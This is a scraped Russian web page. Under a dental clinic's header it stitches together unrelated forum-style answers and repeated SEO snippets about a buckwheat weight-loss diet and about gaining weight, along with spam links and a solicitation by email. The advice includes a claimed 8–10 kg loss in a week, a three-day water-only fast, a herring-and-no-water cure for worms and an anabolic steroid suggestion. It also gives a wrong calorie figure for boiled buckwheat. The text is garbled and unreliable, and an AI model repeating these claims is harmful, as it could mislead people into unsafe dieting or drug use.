Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Можно ли похудеть с помощью гречки ?

Любая каша подойдёт если только её есть

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Кроме белка в гречке содержатся аминокислоты, калий, фосфор, йод, железо, а также витамины группы В и Р. Аминокислоты укрепляют стенки сосудов и очищают кровеносную...

Конечно, если только её есть

Можно, если есть ее по столовой ложке через каждые два часа Удач вам

Можно похудеть, если заниматься спортом.
Причём, это не зависит от того, чем питаться.

Если кушать её по чуть чуть, можно

Безусловно. Можно похудеть даже с помощью шоколада, если заниматься спортом при этом.

Гречневая диета для похудения. Полезные свойства гречки известны с давних времен.При этом, значительное количество клетчатки, содержащейся в гречневой крупе, обуславливает еще одно волшебное свойство гречки очистка от давних пищевых завалов ...

Одна из самых простых, эффективных и безопасных диет разработана на основе гречневой каши. По мнению специалистов, как и любая монодиета, гречневая диета позволяет не только довольно быстро избавиться от лишних килограмм, но и очистить организм от шлаков и улучшить самочувствие. Поскольку в гречке содержится достаточно большое количество углеводов, уменьшение веса начнется не сразу, а только по истечении нескольких дней диеты. Скорость похудения зависит от величины исходного веса, чем вес больше, тем быстрее уходят лишние килограммы. Гречневая диета за неделю гарантирует потерю от 8 до 10 килограмм.
В чем же суть этой методики снижения веса? Начнем с того, что благодаря содержанию таких микроэлементов, как калий, кальций, железо, магний, гречневая крупа безумно полезна. Кроме того, гречка способствует укреплению стенок сосудов, а из –за витамина В, входящего в ее состав, в значительной степени повышает устойчивость Вашего организма к стрессовым ситуациям, улучшает состояние, волос, кожи, ногтей.
Минусом гречневой диеты является отсутствие в Вашем ежедневном рационе сахара и соли. Поэтому к применению этого способа снижения веса следует относиться с осторожностью. Несоленая гречневая каша выводит из организма лишнюю воду и шлаки. Из-за нехватки соли в организме, могут периодически возникать головные боли, а так же снижаться артериальное давление. Пока мы проходим курс похудения по гречневой диете, наш организм обделен и сахаром, а значит и глюкозой, в которой так нуждается мозг, чтобы работать эффективно. Поэтому не удивляйтесь, если во время диеты, Вы почувствуете, что голова стала хуже соображать и все время хочется сладкого.
Чтобы хоть немножко полакомиться сладким, разрешается развести чайную ложку меда в 200 гр воды и выпить полученную смесь. Пока Вы кушаете одну гречку, организму, чтобы обеспечить себя количеством питательных веществ, приходится сжигать собственный жир. Следовательно, процесс обмена веществ ускоряется, и сжигание жира происходит легко и быстро.
Меню гречневой диеты
Как готовить гречневую кашу? Гречневая диета для похудения рекомендует гречку не варить, а настаивать, чтобы сохранить все полезные микроэлементы. Берете 200 гр промытой гречневой крупы, заливаете 500 мл кипятка, закутываете в полотенце и оставляете на ночь. Утром гречка готова к употреблению. Если есть лишняя вода, то просто слейте ее. Запрещается добавлять в кашу соль или какие-нибудь специи. Вот такую безвкусную кашу и необходимо есть в течение всего дня. Последний прием гречки должен быть не позднее трех-четырех часов до ночного сна. Пить необходимо столько, сколько хочется, причем это может быть любая жидкость, как травяной чай, так и минеральная негазированная вода, черный или зеленый чай. Количество употребляемой жидкости должно быть не менее полтора литра в день.
С утра натощак выпиваете стакан горячей воды + чайная ложка меда + две дольки лимона.
Завтрак. Через 30 минут съедаете первую порцию каши, которую разрешается запить чаем без сахара или натуральным овощным соком (свекольным, тыквенным, томатным) не содержащим сахара или соли
Обед — вторая порция каши
Ужин — третья порция гречневой каши.
Гречневая диета – очень строгая диета, поэтому не рекомендуется придерживаться ее более двух недель. Если Вы решили еще раз воспользоваться данной методикой снижения веса, то перерыв между курсами должен быть не менее одного месяца. Выход из диеты должен быть постепенным, следует плавно вводить в свой рацион привычные продукты. Не стоит употреблять в пищу много сладкого, жирного, мучного, так как все это может привести к быстрому возвращению потерянных килограмм. Рекомендуется во время курса похудения принимать витамины.

Есть меньше.
http://lsnlsn.nethouse.ru/dietabesplatno

Можно, я в своё время за неделю скинула 3 кг

Да! но и еще одновременно когда ешь гречку можно избавиться от вылезших сосудов! пол года покушал, сосуды пропадают!

Нельзя, она очень калорийная и сытная не зря ей в солдат кормят.

Гречневая диета для похудения - отзывы и результаты. Нажмите сюда для получение методики похудения.4. Большое количество микроэлементов и витаминов делает гречку очень полезным продуктом. В ней содержатся кальций, фосфор и йод.

Как похудеть с помощью гречки?

Жрать ее

Зеленая гречка польза для похудения. Как прорастить и как употреблять. Нажмите сюда для получение методики похудения.Огромным плюсом зеленой гречки является то, что в ней содержатся сложные углеводы, которые на протяжении долгого времени сохраняют ощущение...

Да неужели непонятно что её жрааааааааааааааааааааааааааааааааать надо!!!

Ха ха ха. Там не только гречка, а и комплекс упражнений, изменение образа жизни)) ) Никак. С одной то гречки...

Никак!!!

Как можно быстро похудеть перед пляжным сезоном? Ну там с помощью гречки, риса, круп всяких и соков :))))

С помощью риса не похудеешь! и многих круп тоже! обратитесь к диетологу!

Гречка для похудения. admin 27 Ноябрь 2013 0 comments. Новости.Не забывайте, что именно сахара являются источником проблем с избыточным весом, а их в этой крупе содержится немало.

Меньше кушать, больше двигаться.

Жиросжигающий зеленый коктейль
Наверняка, все вы знаете, о жиросжигающих свойствах грейпфрута, но многие ли знают, что киви куда более эффективно сжигает и расщепляет жировые отложения. Так же в коктейле находиться лимон, в цедре которого содержаться вещества которые помогаю бороться с ненавистными килограммами.
Многие знают о полезных свойствах зелени, но не могут в должной мере воспользоваться своими знаниями, ведь просто так ее есть не вкусно, а добавления зелени к готовым блюдам недостаточно, есть выход! Ее можно добавить к фруктовому коктейлю и тогда вкус фруктов перекроет вкус зелени, а все полезные витамины и микроэлементы сохраняться. Этот коктейль, поможет привести в порядок организм после зимы, не только внешне, но и внутренне.
Ингредиенты на одну порцию:
- 1 среднее киви
- 2 колечка лимона (вместе с цедрой)
- 7-10 веточек петрушки (хвостики обрезаем)
- 6-8 веточек мяты
- 100 мл чистой, не газированной воды
- По желанию 1-2 ч. л. меда (но не сахара!) .
Приготовление:
1. Очистим и разрежем на 4-5 частей киви и положим в чашу блендера. В идеале готовить коктейль не в блендере, а с помощью пестика и ступки, так как так сохраняется больше витаминов, чем в случае с блендером, но если у вас как у меня нет ступки, то можно воспользоваться блендером. Можно оставить дольку для украшения.
2. Туда же отправим два тонких колечка лимона (вместе с цедрой) и петрушку.
3. Разбираем мяту на листики - листики к киви, а стебельки в мусор. По желанию добавляем мед.
4. Добавляем воду и измельчаем все в пюре.
5. Переливаем в бокал, украшаем и наслаждаемся) Пьем сразу же)

Никаких каш, беллковая диета. Целыми днями отварная рыба, пикша минтай, мясо, сыр и тд. За два месяца ушло у меня 10 кг. За месяц 4-5

Питайся по калориям

Нужно не меньше кушать, а кушать часто, но по чуть-чуть) Побольше фруктиков, овощей. Поменьше сладкого. И спорт, спорт, спорт, но не до изнеможения! А то хуже будет.

На гречку для похудения отзывы можно встретить отличные. Хотя эта каша не подавляет голод, не сжигает жиры и не стимулирует метаболизм.Прибавим к этому, что в гречке содержатся и такие микроэлементы, как железо, фосфор и калий.

Поздновато спохватились! Надо было хотя бы в феврале-марте начинать. Исключите из рациона углеводы, жиры, ешьте только отварное и паровое или запечённое без масла. Вместо всяких круп зелёный салат. Минеральная вода, травяной чай. И физ. нагрузки, хотя бы просто пешком ходите несколько остановок, вместо того, чтобы пользоваться транспортом.

Быстро похудеть - себе очень навредить.

После 6 не есть!!!! шоколад не сть. хотя я каждый день сладкое ем!!!! булок поменьше лопать.... светлана вы на мамба зарегистрированы)))))))))) сколько вам лет светлана пушкарева

От углеводов жиреет зад)

Велосипед! Отличная штука. Я вот тоже набрала килограммы, так прямо с каждой поездкой замечаю, как на 1 см. уменьшается объем ж)
Талия вообще уже выравнялась, осталось подтянуть животик.
Значит, что я сделала:
1. Отказалась от сладкого вообще. Если что-то тянет сожрать вредное и жирное, например, мороженое, то можно до 12 часов дня себе позволить, но не более 1 штучки в день. Перешла в питании на супы, каши, салаты и все такое. Все жаренное заменила на вареное или запеченое.
2. Делаю утреннюю зарядку еще в постели для того, чтобы организм быстрее включался с утра. Просто лежите еще, ноги согните и опускайте согнутую ногу попеременно на постель то с одной, то с другой стороны. Повторите 100 раз, это легко, но сушит бедра.
Второе упражнение - положение такое же, т. е. лежите, ноги согнуты, потом чуть приподнимаете свою попу наверное см. на 5 от кровати, она ощутимо сжимается, это тренирует мышцы. Повторить 100 раз (можно с перерывами)
Ну и велосипед - он хорош, потому что на суставы не дает нагрузку, как, например, бег, а вот жир топится отлично, особенно с ног и живота.

Гречневая диета для похудения одна из самых популярных монодиет на сегодняшний день.Плюс содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.

Этот способ только для человека с сильной волей! Проверенный мной и некоторыми моими друзьями. "Раз в час стакан воды".Так три дня. Выход и вход на яблочном соке с мякотью.

За какое время можно похудеть на 20 кг? подскажите упражнения и диету)

Это от твоего веса зависит, если у тебя вес 50 кг, то ты на 20 кг никак не похудеешь, а если и похудеешь то ласты склеишь.

О калорийности гречки. Несмотря на прекрасный состав и то, что гречка способствует процессу похудения, нельзя сказать, что она имеет низкую калорийность.Варим гречку и считаем калории. В 100 граммах вареной на воде гречки содержится 335 калорий.

Диета - это фигня. Ешьте 5 раз в день небольшими порциями, каши, мясо, молоко, творог. Делайте упражнения на выделение пота. Качайте пресс, косые, руки, ноги (это не шутка).

Способы сбросить 4-5 кг за месяц, получится ли это на таком режиме?

Смотря сколько лишнего наели и как эффективны прогулки.

Гречневая диета для похудения. Диета на гречневой каше совмещается с употреблением следующих продуктов1. гречневая крупа - это наиболее полезная из всех существующих круп. В гречке содержится кальций около 70 мг. , железо порядка 60 мг. , витамины группы В в...

Вполне реально, почему нет )

Уменьшай потребление соли.

Эффектно) но я бы посоветовав на завтрак есть печеньку и пить чай.

Более чем реально. отличная диета у вас.

Норм

Сколько калорий содержится в гречке? Любопытно, что гречка это одна из немногих круп, которая может использоваться для диетического и лечебного питания.Зеленый чай для похудения Сколько калорий в банане?

Не жрать после 6. Хотя чё говорить, всё равно же жрете!

Теоретически - можно.
а на практике зависит от того, в какой вы сейчас форме.
я бы посоветовала увеличить физические нагрузки на свежем воздухе (проходить 9-12 км в день с шагомером).
и ГЛАВНОЕ:
уберите быстрые углеводы из диеты (рис, белый хлеб, картошку, макароны, сахар и все сладости),
вместо них добавьте побольше белка (молоко, творог, сыр, мясо, рыба, икра, яйца),
сок (пусть даже детский) замените на цельные фрукты,
вечером не сидите голодная, это стресс для организма и лишний повод запасать жир. ешьте кисломолочные продукты и зеленые овощи с большим содержанием клетчатки

Ешьте понемногу и часто, тогда не будет лишнего веса!

После 6 можно есть главное не есть 2 часа до сна. Белый хлеб исключить, вместо сахара использовать мёд.
В чай в место сахара мёд клади вкусно кстати правда мало кто мёд любит вообще.
Так если неделю есть салатики полезные 2-3 кг сбросиш за неделю. Если ещё заниматься чем нибудь, пресс качать например, чтобы потеть именно не обязательно качать мышцы прям главное потеть. Скакалку можно и тд.
И после пресса поесть салатик витаминный в общем.

Я думаю, гораздо больше скинете. как можно так питаться, я б ноги протянула.

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Кроме белка в гречке содержатся аминокислоты, калий, фосфор, йод, железо, а также витамины группы В и Р. Аминокислоты укрепляют стенки сосудов и очищают кровеносную...

Не верю в подобные "диеты", которые издеваются над организмом...
только через физическую нагрузку можно корректно и с пользой сбросить вес...
ем все,
бегаю Марафон (42 км 195 м) 2 раза в год...
и Полумарафон (21 км 100 м) 4 - 5 раз в год...

Есть нужно регулярно и понемногу, соблюдая баланс между углеводами, жирами и белками. Я еще модельформ принимаю, для контроля аппетита. Посмотрите на их сайте, Анна Белоусова расписала примерный прием питания. Удачи вам!

Включительно бег

Если ещё будешь бегать утром или вечером сможешь

Зависит ещё от обмена веществ в организме. Это у каждого разное.
Чем старше человек, тем медленнее обмен веществ и медленнее расходуются съеденные калории.
Есть методики, как раскачать организм и заставить весь этот процесс крутиться быстрее.

Гречневая диета для похудения. Полезные свойства гречки известны с давних времен.При этом, значительное количество клетчатки, содержащейся в гречневой крупе, обуславливает еще одно волшебное свойство гречки очистка от давних пищевых завалов ...

Обмен веществ важен, а вообще, кардио тренировки+диета-5-10кг за месяц =)

Для начала, вы должны понять одну простую вещь, что постоянно терять определеный вес как многие думают, это не реально! Есть допустимые нормы для каждого веса и если вы весите 60 кг это одно, а если вы весите 120 это другое! По этому, как правило вам лучше конечно обратиться к диетологу, но если по каким-то причинам у вас нет такой возможности, то учтите одно правило - не ходите голодной, но и не переедайте! А вот такие продукты как сливочное масло вычеркните из своего рациона, лучше съеште бутерброд с какой нибудь икрой красной, черной, минтая и тд, мясо употребляйте пока худеете лучше грудинку, пейте побольше жидкости, ну и прогулки бассейн и другие физические нагрузки не исключайте и всё у вас будет хорошо!

Если хотите похудеть (сбросить-излишки массы), то-никакого масла, даже, растительного (салаты, лучше-заправлять сметаной); само собой-ни сладкого, ни соленого, ни жирного. И каждый прием пищи, начинать и заканчивать-приемами
имбиря (сухого, молотого), брать-на кончике ножа, запивая 1/4 стакана горячей воды. Ещё,
стоит на выходные дни делать-разгрузочные, употребляя вместо еды-сыту (горячая вода-
1,5-2 литра, мед-1-2 столовых ложки и яблочный или винный уксус 6-8%),пить, обязательно, в горячем виде, 3-4 раза в день, по пол-литра. Даже, это позволит-за 2 дня скинуть 2-4 кг (сам-проверял). Мясо, кстати, можно, НО-не жирное и не жареное.
А, вообще, ВАМ стоит почитать книгу **Идеальное здоровье**,автор-Дипак Чопра. Там, он-
подробно описывает: чем и как питаться, какие продукты-полезны а какие-вредны и всё это-зависит от состояния ВАШЕЙ ДОШИ (сущности). В зависимости от ДОШИ-и назначаются те или иные продукты. Да, забыл напомнить: к сладким продуктам относятся также: белый хлеб и продукты, изготовленные из пшеничной муки, молоко, сливочное масло, рис, овес (как ни странно).

Ешь - вода, пей - вода.

Чисто теоретически можно, но сдержаться от сладкого...
Я себе не представляю это

Гречневая диета для похудения - отзывы и результаты. Нажмите сюда для получение методики похудения.4. Большое количество микроэлементов и витаминов делает гречку очень полезным продуктом. В ней содержатся кальций, фосфор и йод.

При желании можно за день похудеть на 5 кг.

Я лично сбросила 5 кг за август.... диетами не мучила себя, спортом не увлекалась (так зарядку делала).... исключила газированные напитки, чипсы сухарики и т. д, хлеб, чай пью без сахара, стала есть маленькими порциями, на ужин ела овощи или творог.... так как я сладкоежка, сладкое позволяла в небольших кол-вах до 12.00...после 18.00 не ела...

После прохождения этой программы и техники "Ударной волны", ты не вернешься к своим пугубным привычкам и пристрастиям! Подухение идет как побочный и гарантированыый эффект!

Http://click2loose.com/go/6524/10/s?subid3=s

Посмотрите выпуск про Кемеро Диаз. Там про её питание рассказано и в конце немного про её тренировки. http://www.youtube.com/watch?v=7V_NjBE8SYQ

Зеленая гречка польза для похудения. Как прорастить и как употреблять. Нажмите сюда для получение методики похудения.Огромным плюсом зеленой гречки является то, что в ней содержатся сложные углеводы, которые на протяжении долгого времени сохраняют ощущение...

Масло - исключить.
Обед хорош.
Ужин хорош.
Сок лучше исключить.
Калорий выходит слишком немного. Резко к такому трудно прийти) До этого на диете никакой не сидели?
На такую диету сразу садиться нехорошо. Лучше начинать с 2000 каллорий в день и снижать этот показатель по 100-200 в неделю. Прогулки и упражнения раз в 3 дня? Исключительно бег! И каждый день! По 40 минут минимум! Тогда после бега и маленький детский сок не грех выпить) Упражнения 3-4 раза в неделю, до кардио. 1-2 раза в неделю сауну по 10 минут (85-95 градусов). Когда привыкните - можно и по 15 минут сидеть. А лучше лежать.
Если будете бегать, то хорошо для ваших целей подойдет л-карнитин. Хорошая вещь, можете почитать как он работает. Пить по 1гр. за 30-60 минут до кардиотренировки. Курс приема - один месяц. Через месяц можно повторить.

Нет

Зависит от изначального веса.
Если как раз они и лишние эти 5 кг, то труднее их сбросить, нежели чем больший вес (имею ввиду ваше питание)

В любом случае сбрасывать СТОЛЬКО -это не есть правильно! Не мучайте организм. Диета должна быть долгосрочной, чтобы ваш организм успел перестроиться на здоровый образ жизни. Если хотите сбросить 5 кг и закрепить результат нужно хотя бы 4 месяца, а то и больше. ВЫ приобретете отличный вид, на душе будет легко и в организме тоже. А при таком расписании вы будете себя пытать, а в конце наберете в 2 раза больше чем было!

Яйца каждое утро лучше не кушать, они очень тяжелые для организма, не чаще 2-3 раз в неделю. Замени чем-нибудь, вроде сыра или еще чего по твоему вкусу с:

Гречка для похудения. admin 27 Ноябрь 2013 0 comments. Новости.Не забывайте, что именно сахара являются источником проблем с избыточным весом, а их в этой крупе содержится немало.

Вам необходимо изменить первые 2 приема пищи:
1. На завтрак рекомендую употреблять крупу (рисовую, гречневую, перловую итд, любую на ваш вкус кроме манной) с обязательным добавлением растительного масла (опять таки любого, лучшие варианты льняное, оливковое, горчичное)
2. очень важно (!) НЕ употреблять крупы вместе с мясными блюдами. Есть мясо, рыбу можно с овощами.
Вот простая таблица, придерживаясь ее, вы не только потеряете желаемое, но и приобретете нормальную работу пищеварительной системы и как результат, улучшите качество жизни) все проверено на личном опыте.

А лучше перед тем как ешь) сьедай ананас он очень помогает похудеть так как выводит много каллорий, проверено!;)

Можно завтракать, а обедать и ужинать не обязательно. Исключить тефтели, масло из рациона. Хлеб пшеничный или высивковый. Не важно что ты ешь главное сколько! Это давно проверенная диета. Хотя. если ты девушка достаточно полная то лучше резко не худеть, а то иммунитет упадет, а внутренние органы опустятся и страдать будешь всю жизнь. Тебе лучше заняться спортом.

Я думаю получится
точно даже
особенно за 3 месяца
давайте обмениваться опытом и худеть вместе?

Сжигать надо больше - бег или велоэргометр в течение часа ежедневно

На гречку для похудения отзывы можно встретить отличные. Хотя эта каша не подавляет голод, не сжигает жиры и не стимулирует метаболизм.Прибавим к этому, что в гречке содержатся и такие микроэлементы, как железо, фосфор и калий.

Как то на мой взгляд стрессово для организма, маловато килокалорий, хотя опять же соглашусь со многими, все зависит от ваших показателей)

Мне ваш завтрак совершенно не нравится) лучше кушайте например овсянку или мюсли, фрукты, чашка зелёного чая:) и обязательно выпевайте стакан воды за 20 минут до каждого основного приёма пищи и ваш организм скажет вам спасибо) ну и зарядка утром...

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Спортом бы еще заниматься

Во-первых, НИКАКИХ УГЛЕВОДОВ,
Во-вторых, БЕГ ПО (4-8) КМ КАЖДОЕ УТРО!
и через 10-20 дней кило 10 скинешь

Гречневая диета для похудения одна из самых популярных монодиет на сегодняшний день.Плюс содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.

А сколько Вы сбросили за первую неделю?

Я думаю что сможете

ДАЖЕ И НЕ ЗНАЮ СЕЛА НА КИТАЙСКУЮ ДИЕТУ ПРОСИДЕЛА 5 ДНЕЙ И ПОПРАВИЛАСЬ НА 3 КГ ПРИ ЭТОМ ХОДИЛА В БАССЕИН И БЕГАЛА НА ДОРОЖКЕ. а в китайской диете в основном белки и мало углеводо что это может быть, подскажите, пришлось всё бросить

Мне 22 года худой ужас рост 182 вес 55 помогите господа: (((

Глистов выводи.

О калорийности гречки. Несмотря на прекрасный состав и то, что гречка способствует процессу похудения, нельзя сказать, что она имеет низкую калорийность.Варим гречку и считаем калории. В 100 граммах вареной на воде гречки содержится 335 калорий.

А девушка ничего такая.. Если хочешь быть как мужик, не носи гомосячьи штаны....

Во первых принимай себя таким какой ты есть! Если со здоровьем все нормально то займись спортом!!!

Тебе идет..

Это нормально

Мне бы твою проблему :D

Гречневая диета для похудения. Диета на гречневой каше совмещается с употреблением следующих продуктов1. гречневая крупа - это наиболее полезная из всех существующих круп. В гречке содержится кальций около 70 мг. , железо порядка 60 мг. , витамины группы В в...

Ногти не грязи поправиться хи хи))

Закачай силикона в....

Ретоболил+спорт, только если спорт забросишь жиром заплывешь. Сходить к врачу. Терапевт все скажет что нужно.

Не спи между страницами книг, как гербарий.

Только 4 дня как курить бросил? Месяца через 3 начнешь вес набирать. И к гастроэнтерологу нужно сходить - эт правильно советуют. Ну, и спортзал хотя бы пару раз в неделю )) Молодой ишшо - были бы кости, а мясо нарастет! Жена откормит.))

Сколько калорий содержится в гречке? Любопытно, что гречка это одна из немногих круп, которая может использоваться для диетического и лечебного питания.Зеленый чай для похудения Сколько калорий в банане?

Врачи: терапевт, эндокринолог, невролог. Если всё в принципе в норме, то смотрим, что происходит с питанием. Строительный материал белок, но питание должно быть сбалансированным. Если нет ничего"такого", связанного с серьёзными заболеваниями, спорт+правильное питание. Другого не дано. Просто учитывай, что некоторые люди "сухие" от природы, и им лучше не накачивать сверх мышцы, да и это сложно сделать будет. А вот приобрести достойную "мужскую" форму вполне возможно. Рост за 180см? Возможно ты ещё и "малоежка" если у тебя такой вес. Надо "накушивать". И не кури! Молодец, что прощаешься с этой привычкой!

Качайся качком будешь )

Вы всегда таким были? Если с рождения худой, то это не исправить. Разве что можно за счет мышц визуально увеличить массу. Вы очень симпатичный парень, удачи вам!

Ты хочешь быть как орагутанг? ты еще молодой мышечная масса не наросла она потом наростет к 28- 30 а пока не истери и будь собою

Как я тебя понимаю, сам такой же )) 20 лет, рост 178, вес 60 ...и ни в + ни в - .стабильно в общем 60

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Кроме белка в гречке содержатся аминокислоты, калий, фосфор, йод, железо, а также витамины группы В и Р. Аминокислоты укрепляют стенки сосудов и очищают кровеносную...

Начни пиво бухать - вес может и не наберёшь, а вот живот появится...

Я тебе щас напишу--балбес хренов--иди делом займись

Только не комплексуй и не сутулься

Ешь сосиски, сордельки, щековину, салат зимний, закусывай булками. Сходи покушай в макдональс месяц. Дома пел мешки шт-30. И ВЕС УВЕЛИЧИТЬСЯ ГДЕ-ТО В ДВА РАЗА. Но предупреждаю за последствия не ручаюсь.
Это кстати не полный список !
Ах да про физ. нагрузки забудь !

Во всём виноваты глисты, но не расстраивайся, от них легко можно избавится, вам нужно сьесть кило солёной селёдки и не пить воду в течении дня к вечеру они вас сами покинут.

Гречневая диета для похудения. Полезные свойства гречки известны с давних времен.При этом, значительное количество клетчатки, содержащейся в гречневой крупе, обуславливает еще одно волшебное свойство гречки очистка от давних пищевых завалов ...

Запишись на прием к терапевту -направит на аналезы в зависимости от результатов к нужному спецалисту. Если здоровья в норме то к (психологу) диетологу. Разберись в диете. Можешь на качать мышцы. Эти даеют визуальный эфект в ширину: широчайшую мышцу спины, трапеция, средний пучек дельты .

Были бы кости, а мясо нарастёт! Любите себя и не комплексуйте!

Вопрос. А что делаешь что бы вес набрать?
Худоба бывает разная. Из-за болезни (может человек и не подозревать о ней), питание, строение мышечной ткани (здесь много не наберешь, но определенный рельеф придать можно).
А вообще, мужчины набирают вес, скажем так, матереют после 25, когда рост прекращается, но это не означает, что надо сесть и жда 25-ти лет

Хочешь мышцы, абонемент в зал и белковую пищу в рацион! А вообще если так сильно беспокоит вес может углеводами жирок наращивать. У тебя хороший обмен веществ

Утром кашу манную и 30 гр сливочного масла плюс стакан или пол стакана сметаны с сахаром в обед что хотите ешьте ужин кашу и на ночь молоко горячее с с белой булкой и посмотрите как ваш вес пойдёт в верх и конечно не нервничать

Гречневая диета для похудения - отзывы и результаты. Нажмите сюда для получение методики похудения.4. Большое количество микроэлементов и витаминов делает гречку очень полезным продуктом. В ней содержатся кальций, фосфор и йод.

Я думаю, что Вам нужно больше есть белков и углеводов. И конечно, физические упражнения делать надо. Мужик все-таки...

Врёш наверно . 55 . надо мышцы наращивать . хади в качалку . больше аднаго раза не лазь на бабу в сутки - может так .аль жри больше . а чтоб есть нада заниматься может . чёт не верится 55 . с виду нармально пачти.

Парень, ходи в качалку! Но имей ввиду, что из-за твоего высокого роста будет очень сложно нарастить мышцы. Понадобирся много нервов, времени и терпения. П про рост-это был комплемент. Для мужчины он идеальный

Наедайся как только можешь и сразу же ложись спать... обычно после такого с утра тоже зверский аппетит.

Часто и плотно питайтесь, кушайте очень калорийную пищу, старайтесь придерживаться такому рациону :
Первый завтрак: Смузи из банана, молока, горсти сухофруктов. Овсянка на молоке.
Второй завтрак: 30 г орехов, виноград, банан или сладкое яблоко
Обед: 300-400 г каши, макарон, вареной или печеной картошки, 200 г мяса, салат
Перекусы: 200-300 г мяса с салатом и кусочком хлеба
Перекусы: 100 г сухофруктов с орехами, или свежий сок с ломтиком хлебаПосле тренировки: Через 10 мин – 1 банан, через 40 мин – творог с джемом
Ужин: Мясное блюдо с половиной порции макарон или гречки

Зеленая гречка польза для похудения. Как прорастить и как употреблять. Нажмите сюда для получение методики похудения.Огромным плюсом зеленой гречки является то, что в ней содержатся сложные углеводы, которые на протяжении долгого времени сохраняют ощущение...

Вижу девушка есть, красивый парень, а если хочешь поправиться ешь много чипсов м пей пепси, мне помогло, потом 2 года скидывала этот ужасный вес...

Если тебя девчёнка любит таким, то не парься особо, коси пока бабос, потом поженитесь, она тебя кормить начнёт, там и поправишься ;)

Да питайся все время в Макдональдсе или в других фастфудах, белки с углеводами мешай постоянно - будет тебе вес

Больше жри !!!

Если такой от рождения - ничего не изменится, даже не пытайся.

Гречка для похудения. admin 27 Ноябрь 2013 0 comments. Новости.Не забывайте, что именно сахара являются источником проблем с избыточным весом, а их в этой крупе содержится немало.

Были бы кости мясКо нарастет)))

1.Самое главное Перейди на правильное питание (5 приемов пищи в день, около 2х литров ЧИСТОЙ воды в день, витамины напр. рыбий жир. Утром - плотный сытный завтрак ОБЯЗАТЕЛЬНО углеводный из сложных углеводов (каша гречневая залитая молоком например или овсяная), перекус - орехи (не в больших количествах) + яблоко или банан + запеканка и пр. Обед - углеводы + белок (крупы всех видов + МЯСО). Далее опять перекус, Далее ужин - Белковый (МЯСО + зеленые овощи (огурчик, лист салата, брокколи и пр.) Самое главное есть есть есть есть есть есть и еще раз есть! не нравится каша? - через нехочу запихал быстренько в себя и освободился, как в детстве. Ну перед сном творог, желательно хотя бы за 2 часа до сна. Пихай в себя если не хочешь, главное есть) Ну а если не сможешь - твое дело, здоровье твое, от питания многое зависит. Организм должен получать полезные минералы и витамины каждый день чтобы в полной мере) Купи 3 контейнера, приготовь на след день еду, распихай ее и доставай из холодильника и ешь. И еще надо питаться каждые 3 часа. Вода организму ОЧЕНЬ нужна для настроя обмена веществ, репродукции клеток и т. п. Утром как проснешься надо обязательно выпвать стакан теплой воды за 20 мин. до еды, потом сам завтрак и т. д. 2. Спорт/упражнения + спорт пит (протеин). Не можешь купить абонемент в зал - делай дома упражненияя качайся, чтобы мышци вошли в тонус и начали набирать массу. Без упражнений мышцы не растут! И на одном спорт пите без упражнений мышцы не растут! Ну.. это в двух словах самое важное) Спорт пит поможет быстрее набирать массу, выбирай не химозный ;)
Гамбургеры хрень) тебе же не жир нужен) да они тебе и не помогут) Относись к еде как к топливу

Сходитете к эндокринологу прежде всего и запишитесь в бассейн, возможна у вас нехватка карнитина

Могу дать полезный совет пиши на ele52353617@yandex.ru реально поможет.

Качай пресс, ешь побольше) Если не поможет обращайся к врачу

На гречку для похудения отзывы можно встретить отличные. Хотя эта каша не подавляет голод, не сжигает жиры и не стимулирует метаболизм.Прибавим к этому, что в гречке содержатся и такие микроэлементы, как железо, фосфор и калий.

Ого мне 14 и вес 55 и я считаю себя худым, я лично за 1 неделю набрал кг. 2-3 так, каждый день питался только белковой пищей, и в день по 1 или 2 воренного яйца, молоко и т. д. без всяких приправ и химии, только натурал. Поешь так около месяца заметишь результат. Удачи.

ЕШЬ

Ну блин проблема... некоторые сбросить вес не могут а тут набрать.. жрать желательно побольше и всё калорийное.

Спорт зал, есть по малу но часто (5 раз в день) режим с питанием и сном +10-15 кг. гарантирую.
сам дрищ, но уже лучше, в мае с ростом 183 весил 59-61кг, сейчас 75-78

Иди на кикбоксинг, там само то выступать с высоким ростом и малым весом))

Гречневая диета для похудения одна из самых популярных монодиет на сегодняшний день.Плюс содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.

Худой?? Ты серьёзно??

Значит надо интенсивнее заниматься и питаться гармонично

Успокойся и кушай.

Подскажите пожалуйста как можно быстро набрать вес в "Домашних условиях" , и какой для этого надо срок

Какой именно вес ?? мышечную массу или жировую ?

О калорийности гречки. Несмотря на прекрасный состав и то, что гречка способствует процессу похудения, нельзя сказать, что она имеет низкую калорийность.Варим гречку и считаем калории. В 100 граммах вареной на воде гречки содержится 335 калорий.

Гирю в трусы

Один фиг ЖРАТЬ И ЖРАТЬ - без тренировок конешно жир наберешь тока.

Поставь холодильник рядом с кроватью

Побольше каши кушать) желаю удачи тебе!)

Всем лижбо похудеть, а вам потолстеть))
У меня раньше такой-же вопрос был, а щас норм. Просто ешь все что можно, а особенно много жирного

